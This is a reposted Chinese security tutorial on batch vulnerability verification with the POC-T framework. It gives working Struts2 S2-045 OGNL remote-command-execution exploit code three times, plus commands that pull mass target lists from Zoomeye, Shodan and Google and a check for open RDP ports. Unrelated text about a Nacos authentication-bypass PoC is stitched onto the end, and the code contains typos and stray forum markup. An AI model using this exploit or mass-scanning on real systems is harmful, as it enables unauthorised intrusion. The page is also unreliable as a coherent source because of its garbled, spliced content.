漏洞应急响应之批量poc验证

1.文章难易度 【★★★】
2.文章知识点: python,poc验证;
3.文章作者: 野驴
4.本文参与 i春秋学院原创文章奖励计划,未经许可禁止转载!


0x01前言

   当互联网爆出高危漏洞,或者团队内部挖到0day,无论甲方还是乙方都需要了解漏洞的影响面,这个时候就需要poc批量验证,包括网络安全爱好者对“批量”这个词一定不会陌生,我们今天就来聊聊“批量”那些事。目前,有很多优秀的poc批量验证工具,比如我之前的帖子(https://bbs.ichunqiu.com/thread-9519-1-1.html)发过pentestdb中也集成了这个功能,比较经典的还有pocsuitepocsuite、zoomeye、seebug一条龙服务可以说是业界良心,pocsuite需要按模板要求使用Pocsuite指定的函数,这样的优点在于可以在HTTP请求层面直接做控制,从而支持“全局代理”,“全局随机UA”等功能,同时保证了脚本的稳定性与规范性,对于不懂验证逻辑的客户或运维人员,直接运行脚本即可。但总感觉太重了,不够自由,比如输出的内容等,不能自由设置。那么有没有一款可以引入第三方库,不需要任何模板和继承。这样既能够扩展其功能,又能保证效率的最大化,不用每次写脚本都查文档格式,一个脚本一行命令,三五分钟即可完成任务的这样一个poc验证框架呢?这就是今天给大家推荐的POC-T。

 

0x02 简介及安装使用

批量验证要解决的三个关键点:

数据:数据怎么来?
处理:逻辑是什么?
并发:如何实现?

 

POC-T就是按照这样的思路设计的

145802_3OFM_2870460.png

145854_plDQ_2870460.png

安装也很简单,这里不占用篇幅

git clone [url]https://github.com/Xyntax/POC-T[/url]

pip install -r requirement.txt

python POC-T.py

145920_e8o1_2870460.jpg 

0x021 数据怎么来

数据来源很丰富,也很贴心。包括单个目标(-iS)、文件导入(-iF)、搜索引擎接口,包括谷歌(-aG)、Zoomeye(-aZ)、撒旦(-aS),这些接口的key设置支持运行时手动输入,也支持预先设置,在根目录下的toolkit.conf中设置,谷歌还支持代理,以便扶墙,是不是很贴心,参数–limit来限制搜索数目。其他来源参考帮助。

145938_HtTA_2870460.jpg

 

0x022 处理逻辑是什么

逻辑验证也就是poc,在script已经有很多作者维护的poc脚本,可以利用参数–show来列出poc脚本名

145957_otCV_2870460.jpg

 

加载用参数–s poc名

0x023 并发如何实现

并发的实现作者自己的框架,我们作为使用者不必太纠结原理,只要知道支持多线程(-eT)Gevent(-eG)两种并发模式就可以了。POC-T的效率非常之高,根据笔者测试,设置线程为30(默认10),测试2000+个目标不到3分钟就可以完成。

最后的命令格式大概是这样子

Python POC-T.py –s poc –aZ “port:22” –limit 100

Python POC-T.py –s poc –aG “url:index.php” –limit 100 –gproxy “socket5 127.0.0.1 1080”

Python POC-T.py –s poc –iS http://host//login.php?id=1

Python POC-T.py –s poc –iF /root/pentest/vul.txt

0x03 poc脚本编写
这也是本文重点关注的,为什么说POC-T很轻便呢,我认为就体现在poc脚本编写上,所有的验证只需要一个poc()函数就可以,成功就返回True或者自定义信息,失败就返回False,除此之外没有任何限制。没有实例,一切文章都是纸老虎。下面我们就以前段时间火爆的struts2-s045漏洞为例,详细说下poc的编写,在script目录下有个test.py就是poc脚本的一个demo,就在这个基础上编写我们的poc。

150023_M7uW_2870460.jpg 

网上爆出的验证代码为

def poc(url):

register_openers()

    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})

    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"

    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

    request = urllib2.Request(url,datagen,headers=header)

    response = urllib2.urlopen(request)

    body=response.read()



return body


这段代码,大概意思就是执行了“echo nMask”,也就是说返回的body中如果有字符串nMask就意味着漏洞存在,否则不存在。那么我们的poc代码就可以这么写

import urllib2[/size][/font]

[align=left][font=宋体][size=3]from poster.encode import multipart_encode

from poster.streaminghttp import register_openers

def poc(url):

register_openers()

        datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})

        header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"

        header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask || whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

        try:

            request = urllib2.Request(url,datagen,headers=header)

            response = urllib2.urlopen(request,timeout=5)

            body = response.readlines()[0:2]

        except:

                return False

        if "nMask" in body:

                return Ture

        else:

                return False


建议在脚本中处理Exception,如果线程运行中发现Exception,将使框架终止全部任务并打印错误信息。由于网络请求中经常出现连接中断等错误,一种简单的做法是:

def poc(input_str)

    try:

    ...全部脚本逻辑...

    except:

        return False

 

就是这么简单,在运行时框架的每个线程都会调用poc()这个函数,并把目标url复制给poc()函数。然后我们来看看效果,我导入一个目标文本(每行一个url)。

150045_DhRU_2870460.jpg

POC-T还提供了具有通用性的脚本扩展工具.用于简化代码,提高PoC准确性,赋予脚本更多功能.这些工具位于plugin目录下,编写脚本时,可以使用from plugin.xxx import xxx直接调用,具体功能请查看原文件注释

150116_NtYP_2870460.jpg

继续以刚才poc为例,现在我们不仅想知道一个url是否存在s2-045漏洞,还想知道特定端口是否开放,比如3389、22端口,这样可以为我们下一步测试提供方便。那来看看扩展工具里有没有我们想要的功能。

在util.py中有这样一个函数checkPortTcp()只要有IP地址就可以查看相应端口是否开放

150157_nFFK_2870460.jpg

可传入的参数是url,不是IP地址怎么办,答案仍在util.py中,还有这样一个函数host2IP()可以把url转换为IP地址,真是要啥有啥。

150222_PTPP_2870460.jpg

我们的代码可以这样写

import urllib2

from poster.encode import multipart_encode

from poster.streaminghttp import register_openers

from plugin.util import host2IP

from plugin.util import checkPortTcp



def poc(url):

    register_openers()

    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})

    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"

    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask || whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

    try:

        request = urllib2.Request(url,datagen,headers=header)

        response = urllib2.urlopen(request,timeout=5)

        body = response.read()

    except:

        body=""



    ip = host2IP(url)            #将url转化为IP

    port = checkPortTcp(ip,3389) #检测3389是否开放

    if "nMask" in body:

        assert isinstance(port, object)

        return url + "---" + "3389:" + str(port)

    else:

        return False

 

150243_01Mn_2870460.jpg
0x04 其他功能
  如果我们搞明白了批量需要解决的那三个关键问题,就会发现这个框架不仅可以用作poc批量验证,还可以用作它途,只要原理一样就可以。比如爆破、爬虫、采集等。作者也给出了相应实例

爆破:/script/ brute-example.py
爬虫&采集:/script/ spider-example.py
旁站扫描:/script/ bingc.py


0x05 结语
  
看完本文,以后再有漏洞时,还用到处问“哪里有批量工具吗?”,自己动手,丰衣足食。但正因为POC-T的轻便、灵活,更需要我们的编码能力,因为所有的逻辑验证及输出都需要通过自己编码实现而没有现成的格式规范。
其他优秀的poc批量验证工具:

Pocsuite:  https://github.com/knownsec/Pocsuite
Pentestdb:  https://github.com/alpha1e0/pentestdb
s0m3poc:  https://github.com/s0m30ne/s0m3poc

转载于:https://my.oschina.net/ichunqiu/blog/881933

### 回答1: Nacos是一种开源的配置中心和服务发现平台,可以帮助开发者更方便地管理微服务架构。然而,最近在Nacos中发现了一个名为身份认证绕过的漏洞,这使得攻击者可以绕过身份验证,执行恶意操作。 为了帮助企业和个人快速检测到这个安全漏洞,并采取相应的补救措施,一些安全研究者开发了批量检测POC。这个POC利用公开的漏洞信息,测试Nacos的登录和注册功能,以确定Nacos是否存在身份认证绕过漏洞。 使用这个批量检测POC,用户可以将所有的IP地址列表保存到一个文本文件中,然后通过简单的命令行选项传递该文本文件的路径。这个POC将自动扫描并验证每个IP地址是否容易受到身份认证绕过漏洞的攻击。 总体来说,这个批量检测POC提供了一种简单、快速、有效的方式,帮助企业和个人识别并修复Nacos中的身份认证绕过漏洞,从而提高系统的安全性和可靠性。同时,这也反映了业界对于技术安全的持续关注和努力。 ### 回答2: nacos是一个云原生的动态服务发现和配置管理平台,但是在nacos中存在着身份认证绕过漏洞,攻击者可以通过此漏洞直接绕过身份验证,获取到nacos的管理权限。为了防止此漏洞被滥用,需要及时对其进行检测和修复。 Nacos身份认证绕过漏洞批量检测可以采用Poc技术进行,Poc即Proof of Concept,意为概念证明。通过编写Poc代码,可以在不影响正常运行的情况下,模拟攻击行为,发现漏洞并进行修复。 对于nacos身份认证绕过漏洞批量检测Poc,可以通过以下步骤实现: 1. 首先,确定目标,即需要检测的nacos服务地址。可以通过搜索引擎、网络扫描等方式获取目标。 2. 编写Poc代码,对目标进行检测。具体步骤如下: (1)通过无需认证的接口验证目标是否存在身份认证绕过漏洞。 (2)如果存在漏洞,则可以使用管理员权限执行恶意操作,如读取、修改、删除配置文件等。 3. 对漏洞进行修复。修补漏洞的方法是将nacos系统更新至最新版本,并且配置正确,以避免任何安全问题。 通过进行nacos身份认证绕过漏洞批量检测Poc,可以及时发现和修复nacos系统中的漏洞问题,从而提高系统的安全性和稳定性。同时,作为云原生的重要组件之一,nacos系统的安全问题也需要得到更高的重视和加强保护。 ### 回答3: Nacos是一种开源的分布式服务发现、配置和管理平台,最近出现了一个身份认证绕过漏洞。攻击者可以利用该漏洞绕过Nacos的身份验证,实现未经授权访问敏感信息或执行恶意操作。为了增强安全性,开发人员需要尽快修补漏洞。 为方便安全研究人员和开发人员识别漏洞,可以使用批量检测pocpoc是Proof of Concept的缩写,通常是指一段代码或脚本,用来验证漏洞是否存在的可复现方式。通过使用poc,可以确认漏洞的确存在,便于修复。 对于Nacos身份认证绕过漏洞,可以使用poc进行批量检测。首先需要构造一份包含有效用户名和密码的列表,然后使用poc对Nacos进行检测。如果检测到漏洞,则会产生警报或输出,方便管理员及时修复漏洞。 因此,在使用Nacos时,开发人员需要及时修复漏洞,并通过poc等方式进行漏洞检测,以便及时发现和修复其他潜在的安全漏洞,提高系统的安全性和可靠性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值